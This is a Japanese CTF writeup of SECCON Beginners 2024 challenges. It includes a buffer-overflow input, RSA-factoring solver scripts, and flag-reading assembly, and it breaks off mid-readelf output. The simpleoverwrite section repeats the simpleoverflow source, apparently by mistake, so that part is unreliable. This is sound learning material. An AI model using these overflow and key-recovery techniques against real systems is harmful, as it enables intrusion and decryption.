📝

SECCON CTF4b 2024 writeup

2024/06/16に公開

参加後記

自分は去年のCTF4b2023がCTF競技の初参加で、今回が2回目になります。去年に引き続き、 VRC競プロ部(VRC-procon) のチームにて SECCON Beginners CTF 2024 に参加していました。

https://score.beginners.seccon.jp/

CTF とは Catch The Flag (旗取りゲーム)の略で、情報セキュリティ分野では専門知識や技術を駆使して隠された Flag を見つけるというゲームです。

今回の場合、 競技ルール で見つけるべき Flag は以下のような形式がアナウンスされていました。

  1. フラグのフォーマットは ctf4b{[\x20-\x7e]+} です。これと異なる形式を取る問題に関しては、別途問題文等でその旨を明示します。

VRC競プロ部 の Discordサーバー 上で問題毎にスレッドを立てて情報共有、各々で取り組めそうな所を自由に取り組み、並行してボイスチャットもしながら、解決の助けが欲しそうな所があったらお互いにヘルプに入る、という感じで進めていました。

https://x.com/cleantted_s/status/1682234226320756737

チーム成績は 998ポイント、962チーム中64位でした。チームで解いた問題は13問、そのうち自分が解いた問題、アシストした問題のwriteupをしてみます。

Challenge logs

  • Mizar / みざー (VRC-procon) has solved "Welcome" at 21st
  • Mizar / みざー (VRC-procon) has solved "simpleoverflow" at 64th
  • amenbir (VRC-procon) has solved "Safe Prime" at 59th
  • amenbir (VRC-procon) has solved "math" at 15th
  • Nachia (VRC-procon) has solved "getRank" at 102nd
  • cleantted (VRC-procon) has solved "assemble" at 40th
  • cleantted (VRC-procon) has solved "clamre" at 46th
  • Mizar / みざー (VRC-procon) has solved "cha-ll-enge" at 126th
  • cleantted (VRC-procon) has solved "wooorker" at 64th
  • cleantted (VRC-procon) has solved "ssrforlfi" at 50th
  • mamu_soba (VRC-procon) has solved "simpleoverwrite" at 247th
  • mamu_soba (VRC-procon) has solved "pure-and-easy" at 77th
  • cleantted (VRC-procon) has solved "wooorker2" at 101st
CHALLENGE CATEGORY RANK DATE
Welcome welcome 21 2024-06-15T05:00:41.208Z
simpleoverflow pwnable 64 2024-06-15T05:09:59.345Z
Safe Prime crypto 59 2024-06-15T05:58:08.032Z
math crypto 15 2024-06-15T06:33:27.705Z
getRank misc 102 2024-06-15T08:02:52.578Z
assemble reversing 40 2024-06-15T08:09:40.907Z
clamre misc 46 2024-06-15T09:47:45.319Z
cha-ll-enge reversing 126 2024-06-15T09:54:50.867Z
wooorker web 64 2024-06-15T11:27:18.42Z
ssrforlfi web 50 2024-06-15T17:50:34.904Z
simpleoverwrite pwnable 247 2024-06-16T01:05:17.89Z
pure-and-easy pwnable 77 2024-06-16T02:06:41.957Z
wooorker2 web 101 2024-06-16T04:17:59.131Z

welcome/Welcome

SECCON Beginners CTF の公式Discordサーバーにおける競技開始アナウンス内に解答が含まれているので、それを提出するだけです。

https://discord.gg/6sKxFmaUyS

hi120ki — 2024/06/15 14:00
@everyone 📣 SECCON Beginners CTF 2024 開始 📣

SECCON Beginners CTF 2024 を開始します!
https://score.beginners.seccon.jp/
(注: 競技開始後、スコアサーバにアクセスする際はページのリロードをお願いいたします。)

問題 Welcome のフラグはctf4b{Welcome_to_SECCON_Beginners_CTF_2024} です。

Flag
ctf4b{Welcome_to_SECCON_Beginners_CTF_2024}

pwnable/simpleoverflow

Cでは、0がFalse、それ以外がTrueとして扱われます。
nc simpleoverflow.beginners.seccon.games 9000

src.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
  char buf[10] = {0};
  int is_admin = 0;
  printf("name:");
  read(0, buf, 0x10);
  printf("Hello, %s\n", buf);
  if (!is_admin) {
    puts("You are not admin. bye");
  } else {
    system("/bin/cat ./flag.txt");
  }
  return 0;
}

__attribute__((constructor)) void init() {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  alarm(120);
}

CTFの問題文によく登場するコマンド ncnetcat の略称で、例えば WSL Ubuntu 24.04 LTS 環境では netcat-openbsd パッケージが標準でインストールされています。

$ dpkg -l | grep netcat
ii  netcat-openbsd                1.226-1ubuntu2                          amd64        TCP/IP swiss army knife

入力文字列バッファが10文字分しかないので、このバッファを溢れさせて隣の is_admin 変数を非ゼロにできれば攻撃成功です。

$ nc simpleoverflow.beginners.seccon.games 9000
name:aaaaaaaaaaaa
Hello, aaaaaaaaaaaa

ctf4b{0n_y0ur_m4rk}
Flag
ctf4b{0n_y0ur_m4rk}

crypto/Safe Prime

Using a safe prime makes RSA secure, doesn't it?

chall.py
import os
from Crypto.Util.number import getPrime, isPrime

FLAG = os.getenv("FLAG", "ctf4b{*** REDACTED ***}").encode()
m = int.from_bytes(FLAG, 'big')

while True:
    p = getPrime(512)
    q = 2 * p + 1
    if isPrime(q):
        break

n = p * q
e = 65537
c = pow(m, e, n)

print(f"{n = }")
print(f"{c = }")
output.txt
n = 292927367433510948901751902057717800692038691293351366163009654796102787183601223853665784238601655926920628800436003079044921928983307813012149143680956641439800408783429996002829316421340550469318295239640149707659994033143360850517185860496309968947622345912323183329662031340775767654881876683235701491291
c = 40791470236110804733312817275921324892019927976655404478966109115157033048751614414177683787333122984170869148886461684367352872341935843163852393126653174874958667177632653833127408726094823976937236033974500273341920433616691535827765625224845089258529412235827313525710616060854484132337663369013424587861

RSAで文字列の暗号化を試みているようですが、何と q=(2p+1) という素数をペアにして用いてしまっています。 n=pq=p(2p+1) の方程式が成立していると判ると、この方程式を解くことで容易に(二分探索なりなんなりで)素因数分解された p,q の値を得られるので、ここから導かれる暗号鍵を用いて復号化を行います。

crypto_Safe-Prime.py
n = 292927367433510948901751902057717800692038691293351366163009654796102787183601223853665784238601655926920628800436003079044921928983307813012149143680956641439800408783429996002829316421340550469318295239640149707659994033143360850517185860496309968947622345912323183329662031340775767654881876683235701491291
c = 40791470236110804733312817275921324892019927976655404478966109115157033048751614414177683787333122984170869148886461684367352872341935843163852393126653174874958667177632653833127408726094823976937236033974500273341920433616691535827765625224845089258529412235827313525710616060854484132337663369013424587861
e = 65537

# 二分探索
pmin, pmax = 1, n
while True:
    p = ((pmin + pmax) >> 1) | 1 # p は奇数
    q = p * 2 + 1
    if p * q == n:
        break
    if p * q < n:
        pmin = p
    else:
        pmax = p

a = pow(e, -1, p * q - p - q + 1)
x = pow(c, a, n)
print(bytes.fromhex(hex(x)[2:]).decode())
Flag
ctf4b{R3l4ted_pr1m3s_4re_vuLner4ble_n0_maTt3r_h0W_l4rGe_p_1s}

crypto/math

RSA暗号に用いられる変数に特徴的な条件があるようですね...?

chal.py
from Crypto.Util.number import bytes_to_long, isPrime
from secret import (
    x,
    p,
    q,
)  # x, p, q are secret values, please derive them from the provided other values.
import gmpy2

def is_square(n: int):
    return gmpy2.isqrt(n) ** 2 == n

assert isPrime(p)
assert isPrime(q)
assert p != q

a = p - x
b = q - x
assert is_square(x) and is_square(a) and is_square(b)

n = p * q
e = 65537
flag = b"ctf4b{dummy_f14g}"
mes = bytes_to_long(flag)
c = pow(mes, e, n)

print(f"n = {n}")
print(f"e = {e}")
print(f"cipher = {c}")
print(f"ab = {a * b}")

# clews of factors
assert gmpy2.mpz(a) % 4701715889239073150754995341656203385876367121921416809690629011826585737797672332435916637751589158510308840818034029338373257253382781336806660731169 == 0
assert gmpy2.mpz(b) % 35760393478073168120554460439408418517938869000491575971977265241403459560088076621005967604705616322055977691364792995889012788657592539661 == 0
output.txt
n = 28347962831882769454618553954958819851319579984482333000162492691021802519375697262553440778001667619674723497501026613797636156704754646434775647096967729992306225998283999940438858680547911512073341409607381040912992735354698571576155750843940415057647013711359949649220231238608229533197681923695173787489927382994313313565230817693272800660584773413406312986658691062632592736135258179504656996785441096071602835406657489695156275069039550045300776031824520896862891410670249574658456594639092160270819842847709283108226626919671994630347532281842429619719214221191667701686004691774960081264751565207351509289
e = 65537
cipher = 21584943816198288600051522080026276522658576898162227146324366648480650054041094737059759505699399312596248050257694188819508698950101296033374314254837707681285359377639170449710749598138354002003296314889386075711196348215256173220002884223313832546315965310125945267664975574085558002704240448393617169465888856233502113237568170540619213181484011426535164453940899739376027204216298647125039764002258210835149662395757711004452903994153109016244375350290504216315365411682738445256671430020266141583924947184460559644863217919985928540548260221668729091080101310934989718796879197546243280468226856729271148474
ab = 28347962831882769454618553954958819851319579984482333000162492691021802519375697262553440778001667619674723497501026613797636156704754646434775647096967729992306225998283999940438858680547911512073341409607381040912992735354698571576155750843940415057647013711359949649102926524363237634349331663931595027679709000404758309617551370661140402128171288521363854241635064819660089300995273835099967771608069501973728126045089426572572945113066368225450235783211375678087346640641196055581645502430852650520923184043404571923469007524529184935909107202788041365082158979439820855282328056521446473319065347766237878289
secret.py
import gmpy2

p = # REDUCTED
q = # REDUCTED
x = # REDUCTED

x,\ a=p-x,\ b=q-x はそれぞれ平方数で、さらに clews of factors の所を見るとその素因数すら示されています。 ab の値も示されており、残りの素因数はごく僅かなので総当たりで試します。本番ではこの辺りの作業は手分けして行っていたので、コンテスト後に

https://furutsuki.hatenablog.com/entry/2024/06/16/170151#Math-17分

の writeup を基に、コード化した実行環境を作る復習をしてみました。

ここでは、数式処理システム SageMath (Python ベースで、 PARI/GP や Maxima など複数のオープンソースな数式処理系を統合して動かせる環境) を使ってみます。

特に、多項式の整数解を求めたい時などに使える 「環」 PolynomialRing を先の writeup 記事で初めて知ったので、使いこなせるようになりたいなと思います。

https://doc.sagemath.org/html/ja/tutorial/tour_rings.html

SageMath は Windows/Linux向けにインストール可能な他、 Docker 環境などでも利用することもできます。使いこなせれば CTF 競技の crypto 系の問題を解くのによく活躍しているイメージです。依存するツールが多く、インストールしようとする時は必要なファイルサイズが大きすぎて驚くかもしれませんが(例えば Docker イメージの場合、 Compressed Size が 1GB 、展開後イメージは 3GB を超えます)。

https://www.sagemath.org/

https://hub.docker.com/r/sagemath/sagemath

Google Colab (要 Google アカウント) の上で SageMath を利用してみた結果はこのような感じです。 SageMath のインストールに掛かる時間が実行時間のほぼ全てです。

https://colab.research.google.com/gist/mizar/0779b5aa72649b54e618d7d7467f37f4/ctf4b2024_crypto_math.ipynb

crypto_math.sage
n = 28347962831882769454618553954958819851319579984482333000162492691021802519375697262553440778001667619674723497501026613797636156704754646434775647096967729992306225998283999940438858680547911512073341409607381040912992735354698571576155750843940415057647013711359949649220231238608229533197681923695173787489927382994313313565230817693272800660584773413406312986658691062632592736135258179504656996785441096071602835406657489695156275069039550045300776031824520896862891410670249574658456594639092160270819842847709283108226626919671994630347532281842429619719214221191667701686004691774960081264751565207351509289
e = 65537
cipher = 21584943816198288600051522080026276522658576898162227146324366648480650054041094737059759505699399312596248050257694188819508698950101296033374314254837707681285359377639170449710749598138354002003296314889386075711196348215256173220002884223313832546315965310125945267664975574085558002704240448393617169465888856233502113237568170540619213181484011426535164453940899739376027204216298647125039764002258210835149662395757711004452903994153109016244375350290504216315365411682738445256671430020266141583924947184460559644863217919985928540548260221668729091080101310934989718796879197546243280468226856729271148474
ab = 28347962831882769454618553954958819851319579984482333000162492691021802519375697262553440778001667619674723497501026613797636156704754646434775647096967729992306225998283999940438858680547911512073341409607381040912992735354698571576155750843940415057647013711359949649102926524363237634349331663931595027679709000404758309617551370661140402128171288521363854241635064819660089300995273835099967771608069501973728126045089426572572945113066368225450235783211375678087346640641196055581645502430852650520923184043404571923469007524529184935909107202788041365082158979439820855282328056521446473319065347766237878289

a_fact = 4701715889239073150754995341656203385876367121921416809690629011826585737797672332435916637751589158510308840818034029338373257253382781336806660731169
b_fact = 35760393478073168120554460439408418517938869000491575971977265241403459560088076621005967604705616322055977691364792995889012788657592539661
abr = ab // ((a_fact * b_fact) ** 2) # 31666659779223213 ** 2
abrf = list(factor(abr)) # [(3, 2), (173, 2), (199, 2), (306606827773, 2)]

PR.<x> = PolynomialRing(ZZ)

for mask in range(1 << len(abrf)):
    a, b = a_fact ** 2, b_fact ** 2
    for i, (fp, fe) in enumerate(abrf):
        if ((mask >> i) & 1):
            a *= fp ** fe
        else:
            b *= fp ** fe
    for fp, fe in ((a + x) * (b + x) - n).roots():
        xx = fp ** fe
        if is_square(xx):
            p, q = a + xx, b + xx
            d = pow(e, -1, (p - 1) * (q - 1))
            m = pow(cipher, d, n)
            print(bytes.fromhex(hex(m)[2:]).decode())
Flag
ctf4b{c0u1d_y0u_3nj0y_7h3_m4theM4t1c5?}

reversing/assemble

Intel記法のアセンブリ言語を書いて、flag.txtファイルの中身を取得してみよう!
https://assemble.beginners.seccon.games/

mov, push, syscall のみの命令を使って、指定された処理を25命令以下で実装します。

Linuxシステムコールには、例えば以下のようなものがあり、これらを駆使して戦うことになります。

%rax System call %rdi %rsi %rdx
0 sys_read unsigned int fd char *buf size_t count
1 sys_write unsigned int fd const char *buf size_t count
2 sys_open const char *filename int flags int mode

https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/ より抜粋

Challenge 1. Please write 0x123 to RAX!

  1. Only mov, push, syscall instructions can be used.
  2. The number of instructions should be less than 25.
input.asm
mov rax, 0x123
Message
Congratulation! Let's proceed to the next stage!

Challenge 2. Please write 0x123 to RAX and push it on stack!

  1. Only mov, push, syscall instructions can be used.
  2. The number of instructions should be less than 25.
input.asm
mov rax, 0x123
push rax
Message
Congratulation! Let's proceed to the next stage!

Challenge 3. Please use syscall to print Hello on stdout!

  1. Only mov, push, syscall instructions can be used.
  2. The number of instructions should be less than 25.

ここからは、システムコールの出番です。

文字列 Hello をリトルエンディアンでエンコード 0x6F6C6C6548 して、スタック領域に push で転送してから、 sys_write システムコールを呼び出し、標準出力(ファイルディスクリプタ1番)に内容を書き出します。

input.asm
mov rax, 1
mov rdi, 1
mov rdx, 5
mov rbx, 0x6F6C6C6548
push rbx
mov rsi, rsp
syscall
Output
Hello
Message
Congratulation! Let's proceed to the next stage!

Challenge 4. Please read flag.txt file and print it to stdout!

  1. Only mov, push, syscall instructions can be used.
  2. The number of instructions should be less than 25.

次は3種類のシステムコールを使います。

  • ファイル flag.txtsys_open システムコールで開く(ファイルディスクリプタが3番である事がレジスタraxに返される)
    • ファイル名は NULL文字 で終端されている必要があるため、8文字のファイル名の後に NULL文字 で終端される事が見えるように、予め 0 のbyte列を push しています。
  • 開いたファイル(ファイルディスクリプタ3番)から sys_read システムコールで読み込む
  • 読み込んだ内容を sys_write システムコールで標準出力(ファイルディスクリプタ1番)に書き出す

自分たちは、このファイル名を指定する際のNULL文字の扱いを間違えてしまっていたので、 sys_read システムコールで起きるエラーの原因解明に苦戦していましたが、何とか気づいた事で解くことができました。

input.asm
mov rbx, 0
push rbx
mov rbx, 0x7478742e67616c66
push rbx
mov rdi, rsp

mov rsi, 0
mov rdx, 0
mov rax, 2
syscall

mov rdi, rax
mov rax, 0
mov rsi, rsp
mov rdx, 52
syscall

mov rax, 1
mov rdi, 1
mov rdx, 52
syscall
Output
ctf4b{gre4t_j0b_y0u_h4ve_m4stered_4ssemb1y_14ngu4ge}
Message
Congratulation! You have completed all stages!

reversing/cha-ll-enge

見たことがない形式のファイルだけど、中身を見れば何かわかるかも...?

LLVM IR出力されたコードを読み解いて、どういう処理をしているかを追う問題。

ChatGPTに試しに C言語 への翻訳を依頼してみました。

https://chatgpt.com/share/258be89a-a85c-4c72-8901-a998f4cff93a

以下は、与えられたLLVMコードをC言語に翻訳したものです。

このコードは、与えられたLLVMコードのロジックをC言語に翻訳したものです。以下の点に注意しています:

key 配列は定数として宣言しています。
prompt、format、correct_message、incorrect_messageは文字列リテラルとして宣言しています。
メインのロジックでは、入力された文字列の長さが49であるかをチェックし、各文字に対して2回のXOR演算を行います。
XOR結果が0であるかを確認し、正しい文字の数をカウントします。
すべての文字が正しい場合、正解メッセージを表示し、そうでない場合は不正解メッセージを表示します。

cha.ll.enge.c
#include <stdio.h>
#include <string.h>

const int key[50] = {
    119, 20, 96, 6, 50, 80, 43, 28, 117, 22, 125, 34, 21, 116, 23, 124, 35, 18, 35, 85, 
    56, 103, 14, 96, 20, 39, 85, 56, 93, 57, 8, 60, 72, 45, 114, 0, 101, 21, 103, 84, 
    39, 66, 44, 27, 122, 77, 36, 20, 122, 7
};

const char *prompt = "Input FLAG : ";
const char *format = "%s";
const char *correct_message = "Correct! FLAG is %s.\n";
const char *incorrect_message = "Incorrect FLAG.";

int main() {
    char input[70];
    int xor_result[50];
    int correct_count = 0;
    long i;

    printf("%s", prompt);
    scanf(format, input);

    if (strlen(input) == 49) {
        for (i = 0; i < 49; i++) {
            int input_char = (int)input[i];
            int xor1 = input_char ^ key[i];
            int xor2 = xor1 ^ key[i + 1];
            xor_result[i] = xor2;
            if (xor_result[i] == 0) {
                correct_count++;
            }
        }

        if (correct_count == 49) {
            printf(correct_message, input);
            return 0;
        }
    }

    puts(incorrect_message);
    return 1;
}

若干ややこしい検査をしているようですが、要するに、配列の隣同士の値を xor 演算するとフラッグの文字列となるようです。Python を用いてデコードしてみました。

reversing_cha-ll-enge.py
key = [119, 20, 96, 6, 50, 80, 43, 28, 117, 22, 125, 34, 21, 116, 23, 124, 35, 18, 35, 85, 
    56, 103, 14, 96, 20, 39, 85, 56, 93, 57, 8, 60, 72, 45, 114, 0, 101, 21, 103, 84, 
    39, 66, 44, 27, 122, 77, 36, 20, 122, 7]

r = bytes(key[i] ^ key[i + 1] for i in range(49))

print(r.decode())
Flag
ctf4b{7ick_7ack_11vm_int3rmed14te_repr3sen7a7i0n}

pwnable/simpleoverwrite

スタックとリターンアドレスを確認しましょう
nc simpleoverwrite.beginners.seccon.games 9001

src.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
  char buf[10] = {0};
  int is_admin = 0;
  printf("name:");
  read(0, buf, 0x10);
  printf("Hello, %s\n", buf);
  if (!is_admin) {
    puts("You are not admin. bye");
  } else {
    system("/bin/cat ./flag.txt");
  }
  return 0;
}

__attribute__((constructor)) void init() {
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  alarm(120);
}

chall という実行ファイルとそのソースコード src.c が与えられています。
とりあえず、実行ファイルの内容を見てみます。

LANG=C readelf -a ./chall > readelf.txt
LANG=C objdump -M intel -D ./chall > objdump.txt
readelf.txt
ELF Header:
  Magic:   7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 
  Class:                             ELF64
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           Advanced Micro Devices X86-64
  Version:                           0x1
  Entry point address:               0x4010a0
  Start of program headers:          64 (bytes into file)
  Start of section headers:          14304 (bytes into file)
  Flags:                             0x0
  Size of this header:               64 (bytes)
  Size of program headers:           56 (bytes)
  Number of program headers:         13
  Size of section headers:           64 (bytes)
  Number of section headers:         30
  Section header string table index: 29

Section Headers:
  [Nr] Name              Type             Address           Offset
       Size              EntSize          Flags  Link  Info  Align
  [ 0]                   NULL             0000000000000000  00000000
       0000000000000000  0000000000000000           0     0     0
  [ 1] .interp           PROGBITS         0000000000400318  00000318
       000000000000001c  0000000000000000   A       0     0     1
  [ 2] .note.gnu.pr[...] NOTE             0000000000400338  00000338
       0000000000000020  0000000000000000   A       0     0     8
  [ 3] .note.gnu.bu[...] NOTE             0000000000400358  00000358
       0000000000000024  0000000000000000   A       0     0     4
  [ 4] .note.ABI-tag     NOTE             000000000040037c  0000037c
       0000000000000020  0000000000000000   A       0     0     4
  [ 5] .gnu.hash         GNU_HASH         00000000004003a0  000003a0
       0000000000000028  0000000000000000   A       6     0     8
  [ 6] .dynsym           DYNSYM           00000000004003c8  000003c8
       0000000000000120  0000000000000018   A       7     1     8
  [ 7] .dynstr           STRTAB           00000000004004e8  000004e8
       000000000000007b  0000000000000000   A       0     0     1
  [ 8] .gnu.version      VERSYM           0000000000400564  00000564
       0000000000000018  0000000000000002   A       6     0     2
  [ 9] .gnu.version_r    VERNEED          0000000000400580  00000580
       0000000000000030  0000000000000000   A       7     1     8
  [10] .rela.dyn         RELA             00000000004005b0  000005b0
       0000000000000060  0000000000000018   A       6     0     8
  [11] .rela.plt         RELA             0000000000400610  00000610
       00000000000000a8  0000000000000018  AI       6    23     8
  [12] .init             PROGBITS         0000000000401000  00001000
       000000000000001b  0000000000000000  AX       0     0     4
  [13] .plt              PROGBITS         0000000000401020  00001020
       0000000000000080  0000000000000010  AX       0     0     16
  [14] .text             PROGBITS         00000000004010a0  000010a0
       0000000000000200  0000000000000000  AX       0     0     16
  [15] .fini             PROGBITS         00000000004012a0  000012a0
       000000000000000d  0000000000000000  AX       0     0     4
  [16] .rodata           PROGBITS         0000000000402000  00002000
       0000000000000035  0000000000000000   A       0     0     4
  [17] .eh_frame_hdr     PROGBITS         0000000000402038  00002038
       000000000000003c  0000000000000000   A       0     0     4
  [18] .eh_frame         PROGBITS         0000000000402078  00002078
       00000000000000cc  0000000000000000   A       0     0     8
  [19] .init_array       INIT_ARRAY       0000000000403df0  00002df0
       0000000000000010  0000000000000008  WA       0     0     8
  [20] .fini_array       FINI_ARRAY       0000000000403e00  00002e00
       0000000000000008  0000000000000008  WA       0     0     8
  [21] .dynamic          DYNAMIC          0000000000403e08  00002e08
       00000000000001d0  0000000000000010  WA       7     0     8
  [22] .got              PROGBITS         0000000000403fd8  00002fd8
       0000000000000010  0000000000000008  WA       0     0     8
  [23] .got.plt          PROGBITS         0000000000403fe8  00002fe8
       0000000000000050  0000000000000008  WA       0     0     8
  [24] .data             PROGBITS         0000000000404038  00003038
       0000000000000010  0000000000000000  WA       0     0     8
  [25] .bss              NOBITS           0000000000404050  00003048
       0000000000000020  0000000000000000  WA       0     0     16
  [26] .comment          PROGBITS         0000000000000000  00003048
       0000000000000026  0000000000000001  MS       0     0     1
  [27] .symtab           SYMTAB           0000000000000000  00003070
       0000000000000420  0000000000000018          28    18     8
  [28] .strtab           STRTAB           0000000000000000  00003490
       0000000000000236  0000000000000000           0     0     1
  [29] .shstrtab         STRTAB           0000000000000000  000036c6
       0000000000000116  0000000000000000           0     0     1
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
  L (link order), O (extra OS processing required), G (group), T (TLS),
  C (compressed), x (unknown), o (OS specific), E (exclude),
  D (mbind), l (large), p (processor specific)

There are no section groups in this file.

Program Headers:
  Type           Offset             VirtAddr           PhysAddr
                 FileSiz            MemSiz              Flags  Align
  PHDR           0x0000000000000040 0x0000000000400040 0x0000000000400040
                 0x00000000000002d8 0x00000000000002d8  R      0x8
  INTERP         0x0000000000000318 0x0000000000400318 0x0000000000400318
                 0x000000000000001c 0x000000000000001c  R      0x1
      [Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]
  LOAD           0x0000000000000000 0x0000000000400000 0x0000000000400000
                 0x00000000000006b8 0x00000000000006b8  R      0x1000
  LOAD           0x0000000000001000 0x0000000000401000 0x0000000000401000
                 0x00000000000002ad 0x00000000000002ad  R E    0x1000
  LOAD           0x0000000000002000 0x0000000000402000 0x0000000000402000
                 0x0000000000000144 0x0000000000000144  R      0x1000
  LOAD           0x0000000000002df0 0x0000000000403df0 0x0000000000403df0
                 0x0000000000000258 0x0000000000000280  RW     0x1000
  DYNAMIC        0x0000000000002e08 0x0000000000403e08 0x0000000000403e08
                 0x00000000000001d0 0x00000000000001d0  RW     0x8
  NOTE           0x0000000000000338 0x0000000000400338 0x0000000000400338
                 0x0000000000000020 0x0000000000000020  R      0x8
  NOTE           0x0000000000000358 0x0000000000400358 0x0000000000400358
                 0x0000000000000044 0x0000000000000044  R      0x4
  GNU_PROPERTY   0x0000000000000338 0x0000000000400338 0x0000000000400338
                 0x0000000000000020 0x0000000000000020  R      0x8
  GNU_EH_FRAME   0x0000000000002038 0x0000000000402038 0x0000000000402038
                 0x000000000000003c 0x000000000000003c  R      0x4
  GNU_STACK      0x0000000000000000 0x0000000000000000 0x0000000000000000
                 0x0000000000000000 0x0000000000000000  RW     0x10
  GNU_RELRO      0x0000000000002df0 0x0000000000403df0 0x0000000000403df0
                 0x0000000000000210 0x0000000000000210  R      0x1

 Section to Segment mapping:
  Segment Sections...
   00     
   01     .interp 
   02     .interp .note.gnu.property .note.gnu.build-id .note.ABI-tag .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt 
   03     .init .plt .text .fini 
   04     .rodata .eh_frame_hdr .eh_frame 
   05     .init_array .fini_array .dynamic .got .got.plt .data .bss 
   06     .dynamic 
   07     .note.gnu.property 
   08     .note.gnu.build-id .note.ABI-tag 
   09     .note.gnu.property 
   10     .eh_frame_hdr 
   11     
   12     .init_array .fini_array .dynamic .got 

Dynamic section at offset 0x2e08 contains 24 entries:
  Tag        Type                         Name/Value
 0x0000000000000001 (NEEDED)             Shared library: [libc.so.6]
 0x000000000000000c (INIT)               0x401000
 0x000000000000000d (FINI)               0x4012a0
 0x0000000000000019 (INIT_ARRAY)         0x403df0
 0x000000000000001b (INIT_ARRAYSZ)       16 (bytes)
 0x000000000000001a (FINI_ARRAY)         0x403e00
 0x000000000000001c (FINI_ARRAYSZ)       8 (bytes)
 0x000000006ffffef5 (GNU_HASH)           0x4003a0
 0x0000000000000005 (STRTAB)             0x4004e8
 0x0000000000000006 (SYMTAB)             0x4003c8
 0x000000000000000a (STRSZ)              123 (bytes)
 0x000000000000000b (SYMENT)             24 (bytes)
 0x0000000000000015 (DEBUG)              0x0
 0x0000000000000003 (PLTGOT)             0x403fe8
 0x0000000000000002 (PLTRELSZ)           168 (bytes)
 0x0000000000000014 (PLTREL)             RELA
 0x0000000000000017 (JMPREL)             0x400610
 0x0000000000000007 (RELA)               0x4005b0
 0x0000000000000008 (RELASZ)             96 (bytes)
 0x0000000000000009 (RELAENT)            24 (bytes)
 0x000000006ffffffe (VERNEED)            0x400580
 0x000000006fffffff (VERNEEDNUM)         1
 0x000000006ffffff0 (VERSYM)             0x400564
 0x0000000000000000 (NULL)               0x0

Relocation section '.rela.dyn' at offset 0x5b0 contains 4 entries:
  Offset          Info           Type           Sym. Value    Sym. Name + Addend
000000403fd8  000100000006 R_X86_64_GLOB_DAT 0000000000000000 __libc_start_main@GLIBC_2.34 + 0
000000403fe0  000700000006 R_X86_64_GLOB_DAT 0000000000000000 __gmon_start__ + 0
000000404050  000a00000005 R_X86_64_COPY     0000000000404050 stdout@GLIBC_2.2.5 + 0
000000404060  000b00000005 R_X86_64_COPY     0000000000404060 stdin@GLIBC_2.2.5 + 0

Relocation section '.rela.plt' at offset 0x610 contains 7 entries:
  Offset          Info           Type           Sym. Value    Sym. Name + Addend
000000404000  000200000007 R_X86_64_JUMP_SLO 0000000000000000 puts@GLIBC_2.2.5 + 0
000000404008  000300000007 R_X86_64_JUMP_SLO 0000000000000000 printf@GLIBC_2.2.5 + 0
000000404010  000400000007 R_X86_64_JUMP_SLO 0000000000000000 alarm@GLIBC_2.2.5 + 0
000000404018  000500000007 R_X86_64_JUMP_SLO 0000000000000000 read@GLIBC_2.2.5 + 0
000000404020  000600000007 R_X86_64_JUMP_SLO 0000000000000000 fgets@GLIBC_2.2.5 + 0
000000404028  000800000007 R_X86_64_JUMP_SLO 0000000000000000 setvbuf@GLIBC_2.2.5 + 0
000000404030  000900000007 R_X86_64_JUMP_SLO 0000000000000000 fopen@GLIBC_2.2.5 + 0
No processor specific unwind information to decode

Symbol table '.dynsym' contains 12 entries:
   Num:    Value          Size Type    Bind   Vis      Ndx Name
     0: 0000000000000000     0 NOTYPE  LOCAL  DEFAULT  UND 
     1: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND _[...]@GLIBC_2.34 (2)
     2: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND puts@GLIBC_2.2.5 (3)
     3: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND [...]@GLIBC_2.2.5 (3)
     4: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND alarm@GLIBC_2.2.5 (3)
     5: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND read@GLIBC_2.2.5 (3)
     6: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND fgets@GLIBC_2.2.5 (3)
     7: 0000000000000000     0 NOTYPE  WEAK   DEFAULT  UND __gmon_start__
     8: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND [...]@GLIBC_2.2.5 (3)
     9: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND fopen@GLIBC_2.2.5 (3)
    10: 0000000000404050     8 OBJECT  GLOBAL DEFAULT   25 [...]@GLIBC_2.2.5 (3)
    11: 0000000000404060     8 OBJECT  GLOBAL DEFAULT   25 stdin@GLIBC_2.2.5 (3)

Symbol table '.symtab' contains 44 entries:
   Num:    Value          Size Type    Bind   Vis      Ndx Name
     0: 0000000000000000     0 NOTYPE  LOCAL  DEFAULT  UND 
     1: 0000000000000000     0 FILE    LOCAL  DEFAULT  ABS crt1.o
     2: 000000000040037c    32 OBJECT  LOCAL  DEFAULT    4 __abi_tag
     3: 0000000000000000     0 FILE    LOCAL  DEFAULT  ABS crtstuff.c
     4: 00000000004010e0     0 FUNC    LOCAL  DEFAULT   14 deregister_tm_clones
     5: 0000000000401110     0 FUNC    LOCAL  DEFAULT   14 register_tm_clones
     6: 0000000000401150     0 FUNC    LOCAL  DEFAULT   14 __do_global_dtors_aux
     7: 0000000000404068     1 OBJECT  LOCAL  DEFAULT   25 completed.0
     8: 0000000000403e00     0 OBJECT  LOCAL  DEFAULT   20 __do_global_dtor[...]
     9: 0000000000401180     0 FUNC    LOCAL  DEFAULT   14 frame_dummy
    10: 0000000000403df0     0 OBJECT  LOCAL  DEFAULT   19 __frame_dummy_in[...]
    11: 0000000000000000     0 FILE    LOCAL  DEFAULT  ABS src.c
    12: 0000000000000000     0 FILE    LOCAL  DEFAULT  ABS crtstuff.c
    13: 0000000000402140     0 OBJECT  LOCAL  DEFAULT   18 __FRAME_END__
    14: 0000000000000000     0 FILE    LOCAL  DEFAULT  ABS 
